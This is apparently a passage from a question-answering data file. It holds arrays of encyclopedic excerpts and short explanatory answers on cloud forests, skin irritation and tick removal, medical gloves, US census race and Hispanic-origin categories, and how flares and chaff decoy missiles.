cloud forests, the largest located near the border with Nicaragua. In Nicaragua, cloud forests are situated near the border with Honduras, but many were cleared to grow coffee. There are still some temperate evergreen hills in the north. The only cloud forest in the Pacific coastal zone of Central America is", "Africa and much of the Congo Basin), since desert and savannah regions of Africa stand up as Earth's largest cloud-free area.\nAfrica is dominated by clear skies even beyond deserts (ex : Sahara, Namib, Kalahari), however, the regions located along the equator are considerably cloudier than the tropics and subtropics.\nThe eastern Sahara/northeastern Africa is particularly noted for its world sunshine records. The area experiences some of the greatest mean annual duration of bright sunshine, as the sun shines bright during approximatively as much as 4,300 hours a year, which is equal to 97% of the possible total.\nThis region also has the highest", "Philippines.\nWith an estimated 13,500 plant species in the country, 3,200 of which are unique to the islands, Philippine rainforests boast an array of flora, including many rare types of orchids and rafflesia. Deforestation, often the result of illegal logging, is an acute problem in the Philippines. Forest cover declined from 70% of the Philippines's total land area in 1900 to about 18.3% in 1999. Many species are endangered and scientists say that Southeast Asia, which the Philippines is part of, faces a catastrophic extinction rate of 20% by the end of the 21st century. According to Conservation International, \"the country", "cloud forests of Mesoamerica. Conservation status It is currently considered a threatened species. Habitat loss due to deforestation has led to a decrease in population numbers.", "South Africa is about 464 mm (compared to a global average of 860 mm) but large and unpredictable variations are common. Overall, rainfall is greatest in the east and gradually decreases westward, with some semi-desert areas along the western edge of South Africa. For most of the country, rain falls mainly in the summer months with brief afternoon thunderstorms. The exception is the Western Cape and its capital city Cape Town where the climate is Mediterranean and it rains more in the wintertime. In the winter months, snow collects on the high mountains of the Cape and the Drakensberg. Oceans", "South America. In Africa its range extends from Senegal to Sudan, and southward to Angola and Mozambique. In South America its range extends from Costa Rica southward and eastward to Bolivia, Peru and Brazil. It is a rainforest species but does not grow in the wettest locations, and is found in dry evergreen forest and gallery forests, at altitudes up to about 2,100 m (7,000 ft). It sometimes springs up in clear-felled areas, often in patches growing from seeds or root suckers, and may come to dominate parts of regenerating secondary forest. Ecology The fruits are attractive to elephants, which disperse the", "winter or summer, depending on the region. Temperatures can be extreme at some of the higher altitudes, where snowfalls may occasionally occur.\nIn Subsaharan Africa, laurel forests are found in the Cameroon Highlands forests along the border of Nigeria and Cameroon, along the East African Highlands, a long chain of mountains extending from the Ethiopian Highlands around the African Great Lakes to South Africa, in the Highlands of Madagascar, and in the montane zone of the São Tomé, Príncipe, and Annobón moist lowland forests. These scattered highland laurophyll forests of Africa are similar to one another in species composition (known as" ]

[ "I've done this when a bug bite is on a part of my skin that constantly rubs up against clothing. Without any protection, it gets really irritated by the repeated brushing. Putting something like a bandaid or tape over it allows the clothing to rub up against it with a lot less irritation to the affected skin." ]

[ "gloves while touching the child's buttocks or genitals when wiping or applying creams. These gloves are made of latex, vinyl or nitrile. Use to hide fingerprints Criminals sometimes wear gloves while committing crimes. When thin gloves are used, fingerprints may actually pass through as glove prints, thus transferring the wearers' prints onto surfaces. Limitations Karen Wetterhahn was killed by mercury poisoning after a few drops of dimethylmercury landed on her glove during an experiment. Tests later showed that dimethylmercury, a small apolar molecule, can rapidly permeate different kinds of latex gloves and enter the skin within about 15 seconds.", "a range of clinical uses ranging from dealing with human excrement to dental applications.\nCriminals have also been known to wear medical gloves during commission of crimes. These gloves are often chosen because their thinness and tight fit allow for dexterity. However because of the thinness of these gloves, fingerprints may actually pass through the material as glove prints, thus transferring the wearer's prints onto the surface touched or handled.\nThe participants of the Watergate burglaries infamously wore rubber surgical gloves in an effort to hide their fingerprints. Sizing Generally speaking, examination gloves are sized in XS, S, M and L.", "used because of thrombocytopenia, and the rare occurrence of bleeding disorders. People who suspect they have been bitten by a tick or are starting to show signs of CTF should contact their physicians immediately. Tick removal Ticks should be removed promptly and carefully with tweezers and by applying gentle, steady traction. The tick's body should not be crushed when it is removed and the tweezers should be placed as close to the skin as possible to avoid leaving tick mouthparts in the skin. Mouthparts left in the skin can allow secondary infections. Ticks should not be removed with bare", "Immunology and Allergy recommends not using tweezers to remove ticks, because if the person is allergic, anaphylaxis could result. Instead, a product should be sprayed on the tick to cause it to freeze and then drop off. A doctor would use liquid nitrogen, but products available from drugstores for freezing warts can be used instead. Another method originating from Australia consists in using about 20 cm of dental floss or fishing line for slowly tying an overhand knot between the skin and the tick and then pulling it away from the skin. Preventive antibiotics The risk of infectious transmission increases with", "treated material, or multi-piece combinations, sealed with tape. This kind of protection is still \"proof\" against many non-invasive substances, such as anthrax.", "soapy water or alcohol, or sticking them to tape that can then be folded over and thrown away.\nBifenthrin and permethrin, both pyrethroids, are sometimes used as tick-control measures, although a downside is that they are carcinogenic and can attack the nervous systems of other species besides ticks. Those who walk through tick-infested areas can make it harder for ticks to latch onto them by tucking their slacks into boots made of smooth rubber, which ticks have more trouble climbing than other material.\nResearch since 2008 has documented red-meat allergies (known as Alpha-gal syndrome) in the U.S. due to lone star tick", "a spreading rash indicates that some areas received more of the poison and reacted sooner than other areas or that contamination is still occurring from contact with objects to which the original poison was spread. Those affected can unknowingly spread the urushiol inside the house, on phones, door knobs, couches, counters, desks, and so on, thus in fact repeatedly coming into contact with poison ivy and extending the length of time of the rash. If this has happened, wipe down the surfaces with bleach or a commercial urushiol removal agent. The blisters and oozing result from blood vessels that", "a common material for medical gloves. Due to vinyl gloves having less flexibility and elasticity, several guidelines recommend either latex or nitrile gloves for clinical care and procedures that require manual dexterity and/or that involve patient contact for more than a brief period. Vinyl gloves show poor resistance to many chemicals, including glutaraldehyde-based products and alcohols used in formulation of disinfectants for swabbing down work surfaces or in hand rubs. The additives in PVC are also known to cause skin reactions such as allergic contact dermatitis. These are for example the antioxidant bisphenol A, the biocide benzisothiazolinone, propylene glycol/adipate polyester", "ticks that have attached to humans. The spray kills ticks by freezing, rather than by the traditional method of removal using tweezers. Removing ticks by tweezers was found to have a significantly detrimental effect because tweezers squeeze toxins from the tick into the host and thereby significantly increasing the allergen injected.", "to the common form include contact dermatitis, herpes simplex virus, discoid lupus, and scabies.\nOther conditions that can result in symptoms similar to the blistering form include other bullous skin diseases, burns, and necrotizing fasciitis. Prevention To prevent the spread of impetigo the skin and any open wounds should be kept clean and covered. Care should be taken to keep fluids from an infected person away from the skin of a non-infected person. Washing hands, linens, and affected areas will lower the likelihood of contact with infected fluids. Scratching can spread the sores; keeping nails short will reduce the chances of", "people are usually required to stay at home while they are infectious to avoid spreading the disease to others. Cutting the nails short or wearing gloves may prevent scratching and minimize the risk of secondary infections.\nAlthough there have been no formal clinical studies evaluating the effectiveness of topical application of calamine lotion (a topical barrier preparation containing zinc oxide, and one of the most commonly used interventions), it has an excellent safety profile. It is important to maintain good hygiene and daily cleaning of skin with warm water to avoid secondary bacterial infection. Scratching may also increase the risk of", "who are scratched. In most cases, the cause is unknown, although it may be preceded by a viral infection, antibiotic therapy, or emotional upset. Dermographism is diagnosed by taking a tongue blade and drawing it over the skin of the arm or back. The hives should develop within a few minutes. Unless the skin is highly sensitive and reacts continually, treatment is not needed. Taking antihistamines can reduce the response in cases that are annoying to the person. Pressure or delayed pressure This type of hives can occur right away, precisely after a pressure stimulus or as a deferred response", "so that the user is able to easily erase the marks using either a damp cloth, tissue, handkerchief, baby wipe, or other easily cleaned or disposable items. Generally, people use fabrics to do so, but others use items like paper, clothing items, some even use their bare hands to wipe it clear. The erasable ink does not contain the toxic chemical compounds xylene and/or toluene as have been used in permanent markers, being less of a risk to being used as a recreational drug.\nWet-wipe markers are another version that are used on overhead projectors, signboards, whiteboards, and other non-porous surfaces.", "determined within the sample. On health information websites, duct tape is referred to as a treatment with mixed evidence of efficacy, no good evidence or described as alternative medicine. Evidence In 1978, Jerome Z Litt was the first to suggest that adhesive tape could be used to treat warts on the fingers. He claimed: \"My method is safe, easy, simple, painless, inexpensive, and highly effective. It leaves no scarring or deformed nails. The mystery remains: How and why does this method work? I cannot offer any reasonable or logical explanation. It cannot be all 'hypnotic' or 'suggestive.' Could it be", "in the scene. Many criminals wear gloves to avoid leaving fingerprints, which makes the crime investigation more difficult. However, the gloves themselves can leave prints that are just as unique as human fingerprints. After collecting glove prints, law enforcement can then match them to gloves that they have collected as evidence. In many jurisdictions the act of wearing gloves itself while committing a crime can be prosecuted as an inchoate offense.\nFingerless gloves are useful where dexterity is required that gloves would restrict. Cigarette smokers and church organists often use fingerless gloves. Some gloves include a gauntlet that extends partway up", "Red tape Red tape is an idiom that refers to excessive regulation or rigid conformity to formal rules that is considered redundant or bureaucratic and hinders or prevents action or decision-making. It is usually applied to governments, corporations, and other large organizations. Things often described as \"red tape\" include filling out paperwork, obtaining licenses, having multiple people or committees approve a decision and various low-level rules that make conducting one's affairs slower, more difficult, or both. Origins It is generally believed that the term originated with the Spanish administration of Charles V, King of Spain and Holy Roman Emperor, in", "Anal bleaching Anal bleaching is the process of lightening the color of the skin around the anus. It is done for cosmetic purposes, to make the color of the anus more uniform with the surrounding area. Some treatments are applied in an office or salon by a cosmetic technician and others are sold as cream that can be applied at home. History Pornography actresses were the first to undergo the anal bleaching process, in an effort to lighten the color of their anuses to match the rest of their skin, although it has been suggested by Kristina Rose that this", "hand and then rubbed on the face.\nAfter coming indoors, clothes, gear and pets should be checked for ticks. Clothes can be put into a hot dryer for 10 minutes to kill ticks (just washing or warm dryer are not enough). Showering as soon as possible, looking for ticks over the entire body, and removing them reduce risk of infection. Unfed tick nymphs are the size of a poppy seed, but a day or two after biting and attaching themselves to a person, they look like a small blood blister. The following areas should be checked especially carefully: armpits, between legs,", "risk of developing of anal fissures. Anal fissures are associated with pain and blood on the toilet paper, and require time for healing. Treatment includes topical nitrates or calcium channel blockers and surgical interventions for chronic or complex cases. Similar to anal fissures, internal hemorrhoids can cause blood on the tissue when wiping, and be felt at the opening of the anus. Treatment options for hemorrhoids can be dependent on whether an underlying cause exists. An anorectal varices related hemorrhoids caused by cirrhosis, however symptomatic treatment often involves removal.\nColitis can be divided into infectious and drug induced, as can the", "Blood blister Causes Blood blisters are commonly caused by accidents in which the skin is pinched by a tool, mechanism, or heavy weight without protective equipment. Blood blisters can also arise from forcible human contact, including grappling.\nBlood blisters also may occur with friction caused by constant rubbing of skin against a surface. Because of this, baseball pitchers, rowers, and drummers often contract blood blisters on the fingers and palms. They also form as a result of frostbite.\nBlood blisters can also occur in the mouth for a variety of reasons including side effects to certain medications, nutritional deficiencies, and mouth injuries.", "Blister agent A blister agent, or vesicant, is a chemical compound that causes severe skin, eye and mucosal pain and irritation. They are named for their ability to cause severe chemical burns, resulting in painful water blisters on the bodies of those affected. Although the term is often used in connection with large-scale burns caused by chemical spills or chemical warfare agents, some naturally occurring substances such as cantharidin are also blister-producing agents (vesicants). Furanocoumarin, another naturally occurring substance, causes vesicant-like effects indirectly, for example, by increasing skin photosensitivity greatly. Vesicants have medical uses including wart removal but can be", "authorities, responding to a call of a mysterious rash. The local hazmat unit and firefighters evacuated 12 students and 2 teachers to a local hospital with police escorts. The Hollywood hazmat unit tested several objects from desks to door knobs but found no conclusive source of the rash. At the local hospital 30 staff members were ready to receive the students and decontamination showers were setup to process the students and teachers.The school board decided to open the school for students the next day and the rash was eventually identified as a prank using itching powder. Demographics As of 2013-2014,", "hand care they are designed to protect against the harm from detergents and other irritants.\nThe efficacy of barrier creams is controversial. They have not been demonstrated to be useful in preventing hand eczema. A 2010 Cochrane review concluded that there was insufficient evidence to determine whether barrier cream could prevent occupational contact dermatitis. They are a poor substitute for protective clothing for workers. Gloves provide a greater protection than barrier creams. However they are reasonably effective for the protection of face against some airborne substances.\nSome evidence suggests that improper use of barrier cream could cause a harmful rather than a", "of lip licker's dermatitis is from the history and inspection of the rash. It is important to distinguish it from allergic contact dermatitis and perioral dermatitis which are characterised by papules in the perioral area and sparing of the vermillion border, and worsened by topical steroids. Treatment Generous application of bland emollients can improve the rash. However, complete resolution will not occur until the lip licking stops. Breaking the cycle of dryness then licking followed by more dryness is key to treatment. Sometimes, unlike in perioral dermatitis, topical steroids may be used for few days only.", "of elastomer (that ensures that the plaster stays on skin even while moving) and polyurethane film.\nWhen applied to the blister, it starts to absorb body liquids turning into a soft mass that cushions the blister. It seals the blister forming so-called \"second skin\". The plaster doesn't heal the wound. It prevents the blister from developing and helps new skin to grow underneath the plaster.\nCushioned zone created by the plaster relieves pain and protects the wound from rubbing. The plaster repels water, and stops dirt and germs from entering the wound, thus preventing infection.\nAt first the plaster absorbs all the moisture", "Spit hood A spit hood, spit mask, mesh hood or spit guard is a restraint device intended to prevent someone from spitting or biting.\nProponents, often including police unions and associations, say the spit hoods can help protect personnel from exposure to risk of serious infection like hepatitis and that in London, 59% of injecting drug users test positive for Hepatitis C.\nThe spit hoods have been criticised for breaching human rights guidelines and critics call the hoods primitive, cruel and degrading. Some British police chiefs privately expressed concerns that the hoods are reminiscent of hoods used at the Guantanamo Bay detention", "reports have linked mucosal, skin, and general symptoms to work with self-copying paper. Emission of various particulate and volatile substances has been suggested as specific causes. These symptoms have been related to Sick Building Syndrome, which involves symptoms such as irritation to the eyes, skin, and upper airways, headache and fatigue.\nThe eye is also a source of chronic irritation. Disorders like Sjögren's syndrome, where one does not make tears, can cause a dry eye sensation which feels very unpleasant. The condition is difficult to treat and is lifelong. Besides artificial tears, there is a drug called Restasis which may help.\nBlepharitis", "from these chemicals typically occurs via direct contact with the skin or inhalation of dye particles. While as of 2006 there was no evidence to suggest that most dyestuffs then in use in these industries were harmful at the levels workers were generally exposed to, there was concern with long term or accidental over-exposure. This long term or excessive exposure can sensitize the worker's immune system, leading to hypersensitivity reactions such as asthma and atopic dermatitis on subsequent exposure as mentioned above. Additionally, studies have demonstrated concerns regarding exposure to textile dyes and occupational bladder cancer due to", "sporting the rashes on his skin after being injected with the histamine by Dr. Frank who first appeared in an earlier punishment.", "claims made by manufacturers and promoters of the tape are highly implausible, particularly those involving increased muscle strength, improved blood flow to an injured areas, and better lymphatic drainage to reduce swelling. No evidence supports these claims. Pain reduction and injury prevention are also frequently-cited benefits that similarly lack evidence, at least none showing an effect specific to kinesio tape... There is no evidence of a specific benefit related to kinesio tape itself, or to any kind of expert application of it.\n\nIn November 2018, Science-Based Medicine describes a new study published the same month in an online journal called \"BMC" ]

[ "The standard in the United States is that there are five racial categories that you can identify as: white, black, asian, native american, or pacific islander. While the biological veracity of race is shaky, it does help as a way to track the statistics of groups who identify in a certain way. The problem is that, due to the increasing population of ethnic hispanics in the US, many people would put hispanic or latino on their forms under the race section, despite it being an ethnicity and not a \"race\". This additional question was a way to provide a better avenue for hispanic people in the US to identify themselves in paperwork." ]

[ "as all Americans, and are included in the numbers reported for those races.\nEach racial category may contain Non-Hispanic or Latino and Hispanic or Latino Americans. For example: the White or European-American race category contains Non-Hispanic Whites and Hispanic Whites (see White Hispanic and Latino Americans); the Black or African-American category contains Non-Hispanic Blacks and Hispanic Blacks (see Black Hispanic and Latino Americans); the Asian-American category contains Non-Hispanic Asians and Hispanic Asians (see Asian Hispanic and Latino Americans); and likewise for all the other categories. See the section on Hispanic and Latino Americans in this article.\nSelf-identifying as both Hispanic or Latino", "and other races.\nBy 2010, the number of Hispanics identifying as white has increased by a wide margin since the year 2000 on the 2010 Census form, of the over 50 million people who identified as Hispanic and Latino Americans a majority 53% identified as \"white\", 36.7% identified as \"Other\" (most of whom are presumed of mixed races such as mestizo or mulatto), 6% identified as \"Two or more races\", 2.5% identified as \"Black\", 1.4% identified as \"American Indian and Alaska Native\", and the remaining 0.5% identified as other races.\nThe media and some Hispanic community leaders in the United States refer", "skin, dark hair, and dark eyes - as most Spanish and white Latin American immigrants are and most white Hispanics and Latinos are.\nOn the 2000 Census form, race and ethnicity are distinct questions. A respondent who checks the \"Hispanic or Latino\" ethnicity box must also check one or more of the five official race categories. Of the over 35 million Hispanics or Latinos in the 2000 Census, a plurality of 48.6% identified as \"white,\" 48.2% identified as \"Other\" (most of whom are presumed of mixed races such as mestizo or mulatto), and the remaining 3.2% identified as \"black\"", "this census, Hispanic origins are not races.\" Additionally, the Hispanic terms were modified from \"Hispanic or Latino\" to \"Hispanic, Latino or Spanish origin\".\nAlthough used in the census and the American Community Survey, \"Some other race\" is not an official race, and the Bureau considered eliminating it prior to the 2000 Census. As the 2010 Census form did not contain the question titled \"Ancestry\" found in prior censuses, there were campaigns to get non-Hispanic West Indian Americans, Turkish Americans, Armenian Americans, Arab Americans and Iranian Americans to indicate their ethnic or national background through the race question, specifically the \"Some other", "Race and ethnicity in the United States Census Designated Ethnicities: Hispanic or Latino origin The question on Hispanic or Latino origin is separate from the question on race. Hispanic and Latino Americans have ethnic origins in the countries of Latin America and the Iberian Peninsula. Latin American countries are, like the United States, racially diverse. Consequently, no separate racial category exists for Hispanic and Latino Americans, as they do not constitute a race, nor a national group. When responding to the race question on the census form, each person is asked to choose from among the same racial categories", "an employee identifies their ethnicity as \"Hispanic or Latino\" as well as a race, the race is not reported in EEO-1, but it is kept as part of the employment record.\nA person's skin color or physical appearance can also be grounds for a case of racial discrimination. Discrimination based on national origin can be grounds for a case on discrimination as well. Investigative compliance policy EEOC applies an investigative compliance policy when respondents are uncooperative in providing information during an investigation of a charge. If a respondent fails to turn over requested information, field offices are to subpoena the information,", "Race and ethnicity in the United States Census Race and ethnicity in the United States Census, defined by the federal Office of Management and Budget (OMB) and the United States Census Bureau, are self-identification data items in which residents choose the race or races with which they most closely identify, and indicate whether or not they are of Hispanic or Latino origin (the only categories for ethnicity).\nThe racial categories represent a social-political construct for the race or races that respondents consider themselves to be and, \"generally reflect a social definition of race recognized in this country.\" OMB defines the concept", "also began offering Hispanics several sub-group options from which they could identify themselves, such as Mexican, Puerto Rican, Cuban, et cetera (these Hispanic sub-group options have changed over time). The Other race category was added in 1950, and in 2000 multi-race responses were tabulated for the first time (instructions now explicitly inform respondents that they can chose multiple race boxes). Because multiracial respondents are now allowed, U.S. Census data since 2000 is not directly comparable with that of previous censuses. While people nowadays are enumerated by race based on self-identification, until 1950 their race on the census was mainly", "1980, the Census Bureau has asked U.S. residents to classify their race separately from their Hispanic or Latino origin, if any.\nIn 2010, 29.6% of Dominican Americans responded that they were white, while 12.9% considered themselves black. A majority of 57.5% chose the category 'Other race'.\nThe prevalence of the 'other race' category probably reflects the large number of people who identify as mixed African and European ancestry in the Dominican Republic, where 73% of the population identified as being of mixed European and African descent, commonly known as mulatto, similar to other Caribbean Latinos. Genetically, some are tri-racial, however, having also", "Hispanic or Latino Americans are counted as \"white\" in some statistics of the US government.\nHispanics and Latinos who are native-born and those who are immigrant identify as White in nearly identical percentages: 53.9 and 53.7, respectively, per figures from 2007. The overall Hispanic or Latino ratio was 53.8%.\nIn 2017, the Pew Research Center reported that high intermarriage rates and declining Latin American immigration has led to 11% of U.S. adults with Hispanic ancestry (5.0 million people) to no longer identify as Hispanic. First generation immigrants from Spain and Latin America identify as Hispanic at very high rates (97%) which reduces", "and Pakistani origins; and Southeast Asian-origin students, including those from the Philippines. In addition there are African-American and Hispanic and Latino students.\nIn terms of race most students are designated as White American, as Arab Americans are racially classified as \"White\". Operations The 6th and 9th grades see influxes of students who transfer from other schools.", "Census categories have not changed for almost 20 years. The Census Bureau also recognizes differences in ethnicity among the population, and it defines ethnicity as whether a person is of Hispanic origin or not. For this reason, ethnicity is broken out in two categories in its data, Hispanic or Latino and Not Hispanic or Latino. Hispanics may report as any race. \nThe 2010 U.S. Census further specifies the number of Americans who identified with each racial and ethnic group; in 2010, 38.9 million identified as African American, 14.6 million as Asian American, 2.9 million as American Indian or Alaskan Native", "was not used to being identified by the colour of her skin. That changed when she arrived in the United States for college. As a black African in America, Adichie was suddenly confronted with what it meant to be a person of color in the United States. Race as an idea became something that she had to navigate and learn. She writes about this in her novel Americanah. She received a bachelor's degree from Eastern Connecticut State University, with the distinction of summa cum laude in 2001.\nIn 2003, she completed a master's degree in creative writing at Johns Hopkins University.", "over 35 million Hispanics counted in the Federal 2000 Census, 47.9% identified as White (termed White Hispanic by the Census Bureau); 42.2% some other race; 6.3% two or more races; 2% Black or African American; 1.2% American Indian and Alaska Native; 0.3% Asian; and 0.1% Native Hawaiian and Other Pacific Islander. Note that even among those Hispanics who reported one race only, most would also possess at least some ancestral lineage from one or more other races, despite the fact that only 6.3% reported as such (this is also applicable to the non-Hispanics counted in the U.S. Census, although maybe", "racial makeup was 85.52% White, 4.81% Asian, 4.24% African American, 3.84% identifying as another race, and 1.60% identifying as two races or more. Hispanic or Latino people of any race made up 6.35% of the population. Persons aged 0 to 4 years made up 3.49% of the population, while people aged 5 to 17 years made up 16.89%, 18–64 years at 62.51%, and people aged 65 and up at 17.12%. Men made up 47.45% of the population, while women made up 52.55%. Road U.S. Route 41 passes through the eastern part of Knollwood, though several sections fall within the boundaries", "Mexico. Demographic information In the 2010 United States Census, 50.5 million Americans (16.3% of the total population) listed themselves as ethnically Hispanic or Latino. Of those, 53.0% (26.7 million) self-identified as racially white. The remaining respondents listed their races as: some other race 36.7%, two or more races (multiracial) 6.0%, Black or African American 2.5%, American Indian and Alaska Native 1.4%, Asian 0.4%, and Native Hawaiian or other Pacific Islander 0.1%.\nThe respondents in the \"some other race\" category are reclassified as white by the Census Bureau in its official estimates of race. This means that more than 90% of all", "American, 19.96% as Asian, 1.48% as some other race, and 2.68% as having two or more races. Of the total population of any race, 3.46% identified as being of Hispanic origin.", "asked whether an applicant who was one-quarter or one-eighth Latino would be permitted by the University to check the \"Latino\" box. Garre responded that the applicant was entitled to self-identify as any race, subject to discipline under the university's honor code, and that the University did not ever question that determination.\nLegal analysts concurred that the process of oral argument indicated that a majority of the justices disliked the university's position. Opinions of the Court The opinion was issued on June 24, 2013—unusually late given that it was argued in October 2012. In a 7–1 decision, the Court vacated", "not identified as black; those African American workers that could not be identified by phonetic cues earned as much white workers. Primary education Linguistic profiling is also evident in education. Michael Sheperd’s study on teacher's perceptions of student responses compares how favorably teachers from the Los Angeles area viewed a response with the race and gender of the student speaker. Students were grouped based on white or minority and male or female. Teachers of various racial and ethnic backgrounds tended to view responses attributed to white females as being most favorable, followed by white boys, then minority girls. Students who", "(of any race), 36% White non-Hispanic, 19% Black, 3% Asian, and less than 1% other.", "25.3% Black or African American, 0.4% Native American, 5.3% Asian, 0.18% Pacific Islander, 16.5% from other races, and 3.2% from two or more races. 37% of the population was Hispanic or Latino of any race.\nVoting split along racial and political party lines, with a majority of African Americans and Asians (largely Democrats) supporting Brown, and a majority of Hispanic and Anglo voters (largely Republicans) supporting Sanchez. Brown had 43% in the first round of voting, and Sanchez 40%, which resulted in their competing in a run-off. Chris Bell received 16% of the ballots cast in the first round. Brown narrowly", "As for race: 72% were white/Caucasian, 13.5% were Latinos, 6.3% were African American, 6.2% were Asian, and 2% as other. As for educational background: 39% had obtained a bachelor's degree or higher, 33% had some college background, and 28% received at least a high school diploma.\nThe United States census data for the years 2014 and 2015 shows the women's ownership share of small businesses by firm size. The data explains percentages owned by women along with the number of employees including the owner. Generally, the smaller the business, the more likely to be owned by a woman. The data", "is 72% White Non-Hispanic, 12% are African American, 7% Asian, 5% Mixed race, and 4% Hispanic.", "they belong themselves\". These results were extrapolated, and the INE estimated that out of 2,790,600 inhabitants, some 2,602,200 were white (93.2%), some 164,200 (5.9%) were totally or partially black, some 12,100 were totally or partially Amerindian (0.4%), and the remaining 12,000 considered themselves Yellow.\nIn 2006, a new Enhanced National Household Survey touched on the topic again, but this time emphasizing ancestry, not race; the results revealed 5.8% more Uruguayans stated having total or partial black and/or Amerindian ancestry. This reduction in the percentage of self-declared \"pure whites\" between surveys could be caused by the phenomenon of the interviewee giving new", "are a mix: including Caucasian, Black/African-American, Hispanic/Latina, Asian, South Asian, and Biracial, including of Native American and Middle Eastern descent.", "on geography and ethnicity. The best way to market the census process toward any of the three groups is to reach them through their own unique communication channels and not treat the entire black population of the U.S. as though they are all African Americans with a single ethnic and geographical background. The U.S. Department of Justice Federal Bureau of Investigation categorizes black or African-American people as \"A person having origins in any of the black racial groups of Africa\" through racial categories used in the UCR Program adopted from the Statistical Policy Handbook (1978) and published by the Office", "race on the U.S. census, with 9 out of every 10 of them preferring to pick white, one of the five single race categories available on the U.S. census.\nIn contrast to non-Hispanic European Americans, whose average European ancestry ranges about 98.6%, genetic research has found that the average European admixture among self-identified Hispanic White Americans is 73% European, while the average European admixture for Hispanic Americans overall (regardless of their self-identified race) is 65.1% European admixture.", "the original peoples of North and South America (including Central America) and who maintains tribal affiliation or community attachment.\nThe 2010 census permitted respondents to self-identify as being of one or more races. Self-identification dates from the census of 1960; prior to that the race of the respondent was determined by opinion of the census taker. The option to select more than one race was introduced in 2000. If American Indian or Alaska Native was selected, the form requested the individual provide the name of the \"enrolled or principal tribe\". Population distribution 78% of Native Americans live outside a reservation. Full-blood", "(0.50/km²). Racially, based on those who identified having only one race in their responses to the Census, the township was 31% White and 12% were American Indians. 57.1% of the township identified themselves as being from two or more races. The 2000 Census also allowed respondents to select more than one race. When that is taken into account, 88.1% of the residents identified themselves as White and 14.3% identified themselves as American Indian.", "offices, such as the United States Census Bureau, adhere to the Office of Management and Budget standards on race in its data collection and tabulations efforts. In preparation for the United States 2010 Census, a marketing and outreach plan, called 2010 Census Integrated Communications Campaign Plan (ICC) recognized and defined African Americans as black people born in the United States. From the ICC perspective, African Americans are one of three groups of black people in the United States.\nThe ICC plan was to reach the three groups by acknowledging that each group has its own sense of community that is based" ]

[ "Missiles distracted by flares are missiles using IR (infared) to track their targets. Basically there is a camera on head of the missile (called the seeker) that finds the hottest thing (usually the jet engine exhaust) and tries to drive the missile towards it. Missile that do not operate on the IR spectrum, such as tracking via radar, are unaffected by flares. \n\nFlares burn really crazy hot in the IR spectrum. This may cause the missile to see a new better target, and acquire the flare instead of the less hot jet exhaust, even just for a short time, allowing the plane to make maneuvers to get out of the missile's way or potentially the missile just goes for the flare instead of the plane.\n\nMany newer US/Russian technology IR missiles have a lot of counter-measures to flares, so they aren't too effective against those, but would be effective against the older missiles most of the world uses. But again remember, flares only help against a single type of missile, those which seek solely via IR. Many missiles have multiple ways to attack its target, with IR being only one of them.", "The particular flares used have a temperature higher than the engine exhaust of the plane that uses them.\n\nSource: _URL_0_", "No. Magnesium burns at a higher temperature than jet fuel exhaust.", "The other method used is to the dropping of chaff which is used when the incoming missile is tracking by radar. The chaff, which is made up of things like thin strips of aluminium, creates huge radar returns, larger than the plane using them. This hopefully causes the radar tracking missile to lock onto the chaff allowing the original target to maneuver out of the way. Since most missiles detonate at proximity and not on impact there's little danger of the missile flying through the chaff and locking back onto the original, or different, target. Same for when flares are used against IR tracking missiles.\n\nOne thing to remember about flares is that many planes shot down by IR tracking missiles never get the chance to drop flares. Most missiles are fired from behind the target. Radar points forward so the target plane won't pick up the missile on its radar screen. Since IR tracking is passive there is nothing being given off by the IR tracking missile for the target plane to get a warning, unlike radar tracking missiles which actively admit radar which the target plane will get a warning from. This means that unless you, or another plane in the formation spots it, an IR tracking missile is going to kill you before you even knew it was there.\n\nAha, you think, but you'll pick up the radar being admitted by the target plane! Actually, combat aircraft routinely fly with their radars turned off since it's a big OVER HERE sign, only activating them something to \"sniff\" what's ahead of them. If they have AWACS aircraft then they don't even need to do that as radar targets will be relayed to them.", "Yes, but the idea is if you drop the flares into the path and then turn away, the missiles are duped enough by the flares and long enough that they don't detect your turn, so you put more distance between you and them, and thus become \"colder\" than the flares to the missiles.\n\nThe idea is to outrun them by duping them so you can put distance between you and them. They obviously can outrun you, so you need to not only present them a hotter target, but make yourself less hot in the process.\n\nYou drop flares into the path between you and them and turn away, and hope that the missile is confused by the flares enough that it cannot track your turn, and by the time it does, you're not in the missiles seeker range anymore. Missiles can only see in front of them, not behind them. If you drop flares and make a hard right or left (or up or down) and the missile \"loses track\" it won't be smart enough to regain that before running out of fuel." ]

[ "flares or chaff are released from the aircraft to confuse the infrared or radar system of the launched missile.\nOther approaches broadcast light energy to confuse the missile infrared sensors. In one example, light energy emitted by non-coherent flashlamps is directed toward the missile sensors, to confuse them and render them ineffective (\"jamming\"). IR missiles are vulnerable to high-powered IR carrier signals which blind the IR detector of the incoming IR missile. In addition, IR missiles are vulnerable to lower-powered IR carrier signals that are modulated using certain modulating signals that confuse its tracking system and cause the tracking system to", "target is near the center drops to zero. This is because even its small image covers several segments as they narrow at the center, producing a signal similar enough to an extended source that it is filtered out. This makes such seekers extremely sensitive to flares, which move away from the aircraft and thus produce an ever-increasing signal while the aircraft is providing little or none. Additionally, as the missile approaches the target, smaller changes in relative angle are enough to move it out of this center null area and start causing control inputs again. With a bang-bang controller, such", "flash which could often be seen from the air, followed by a characteristic smoke and vapor trail. With attack aircraft flying in pairs, one or the other of the pilots might see the missile coming and take or direct evasive action. High-energy flares were sometimes tossed out or mechanically ejected, frequently causing the missile's heat-seeker to lock on and track the flare and burst a harmless distance from the plane. Helicopter crews were also alert to watch for missiles, and in order to reduce infrared emissions, UH-1 helicopters were modified, The hot-spot on the fuselage below the main rotor was", "causing considerable drag on the airframe of the carrier aircraft. The low launch velocity and the high angle at which the rocket was launched meant that both accurate aiming and correct judgment of the target's distance were difficult. As a result, most of the rockets fired exploded either in front of or behind the bomber target. However, they did often achieve the effect of opening up the bomber formations enough for fighters to attack with conventional weapons.", "which is much hotter than the exhaust of a jet engine. IR missiles seek out the hotter flame, believing it to be an aircraft in afterburner or the beginning of the engine's exhaust source.\nAs the more modern infrared seekers tend to have spectral sensitivity tailored to more closely match the emissions of airplanes and reject other sources (the so-called CCM, or counter-countermeasures), the modernized decoy flares have their emission spectrum optimized to also match the radiation of the airplane (mainly its engines and engine exhaust). In addition to spectral discrimination, the CCMs can include trajectory discrimination and detection of size", "40,000 lumens. Countermeasure A special variety of flares is used in military aircraft as a defensive countermeasure against heat-seeking missiles. These flares are usually discharged individually or in salvos by the pilot or automatically by tail-warning devices, and are accompanied by vigorous evasive maneuvering. Since they are intended to deceive infrared missiles, these flares burn at temperatures of thousands of degrees, incandescing in the visible 